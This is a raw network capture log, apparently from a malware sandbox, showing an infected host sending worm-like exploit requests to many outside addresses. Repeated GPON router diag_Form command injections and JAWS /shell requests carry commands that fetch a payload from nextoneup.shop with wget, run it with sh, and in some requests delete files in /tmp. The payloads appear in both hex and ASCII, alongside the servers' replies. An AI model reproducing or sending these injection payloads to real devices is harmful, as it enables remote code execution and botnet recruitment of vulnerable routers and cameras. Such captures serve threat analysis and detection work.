Session ID	Source IP	Source Port	Destination IP	Destination Port
1116	192.168.2.13	53650	42.32.192.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918811083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1117	192.168.2.13	35126	212.222.44.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918869019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1118	192.168.2.13	56754	52.88.189.249	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.134867907 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.331041098 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:00:33 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1119	192.168.2.13	44088	174.138.113.58	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.174774885 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1120	192.168.2.13	41734	2.23.10.85	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.265486956 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.592252016 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:33 GMT Date: Sun, 14 Apr 2024 02:00:33 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 35 36 65 64 34 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 33 26 23 34 36 3b 34 32 61 39 63 37 35 31 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 61 35 36 65 64 34 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 33 26 23 34 36 3b 34 32 61 39 63 37 35 31 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.a56ed417.1713060033.42a9c751<P>https://errors.edgesuite.net/9.a56ed417.1713060033.42a9c751</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1121	192.168.2.13	57818	191.81.77.161	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.301692009 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.664530993 CEST	484	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Date: Sun, 14 Apr 2024 02:00:33 GMT Connection: keep-alive Keep-Alive: timeout=60, max=1000 Content-Type: text/html X-Frame-Options: sameorigin X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self'; frame-ancestors 'self' Content-length: 130 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 30 20 2d 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Bad Request</TITLE></HEAD><BODY><H2>Access Error: 400 -- Bad Request</H2></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1122	192.168.2.13	40566	108.156.122.28	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.399298906 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.623085022 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:33 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1123	192.168.2.13	49226	210.154.254.210	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.544121027 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:35.803956985 CEST	607	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:00:34 GMT Server: Apache X-Powered-By: PHP/8.1.13 Set-Cookie: mw-wp-form-token=52f424e65b7dccd367778c9f6fb38fb8bebcadf246453f91991c96b203e066fe; path=/; HttpOnly Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: private, no-store, no-cache, must-revalidate, max-age=0 X-Accel-Expires: 0 X-Redirect-By: WordPress Location: http://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
1124	192.168.2.13	51226	60.204.205.119	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.595544100 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.920336008 CEST	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.25.2 Date: Sun, 14 Apr 2024 02:00:33 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.25.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1125	192.168.2.13	40466	201.77.123.117	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.644480944 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1126	192.168.2.13	45096	39.97.135.11	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.657478094 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1127	192.168.2.13	52106	63.119.95.169	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.182501078 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:35.496371031 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.032298088 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:40.296307087 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:46.440273046 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:58.728290081 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:24.072228909 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1128	192.168.2.13	46816	2.19.237.30	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.258961916 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:34.586106062 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:34 GMT Date: Sun, 14 Apr 2024 02:00:34 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 64 62 39 31 34 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 34 26 23 34 36 3b 31 39 63 30 62 36 62 65 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 32 64 62 39 31 34 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 34 26 23 34 36 3b 31 39 63 30 62 36 62 65 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.2db91402.1713060034.19c0b6be<P>https://errors.edgesuite.net/9.2db91402.1713060034.19c0b6be</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1129	192.168.2.13	49624	173.237.181.176	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.397213936 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1130	192.168.2.13	54022	23.65.224.107	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.400249958 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:34.619884014 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:34 GMT Date: Sun, 14 Apr 2024 02:00:34 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 35 61 38 33 38 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 34 26 23 34 36 3b 37 33 65 36 64 37 66 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 39 35 61 38 33 38 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 34 26 23 34 36 3b 37 33 65 36 64 37 66 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.95a83817.1713060034.73e6d7f5<P>https://errors.edgesuite.net/9.95a83817.1713060034.73e6d7f5</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1131	192.168.2.13	57768	203.32.78.72	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.736819983 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:35.079725027 CEST	504	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 14 Apr 2024 02:00:21 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1132	192.168.2.13	51362	148.134.49.196	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931262016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1133	192.168.2.13	35672	117.232.48.245	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931263924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1134	192.168.2.13	51742	118.15.76.175	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931277990 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1135	192.168.2.13	42214	117.179.94.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931296110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1136	192.168.2.13	43154	202.231.160.134	443

Timestamp	Bytes transferred	Direction	Data
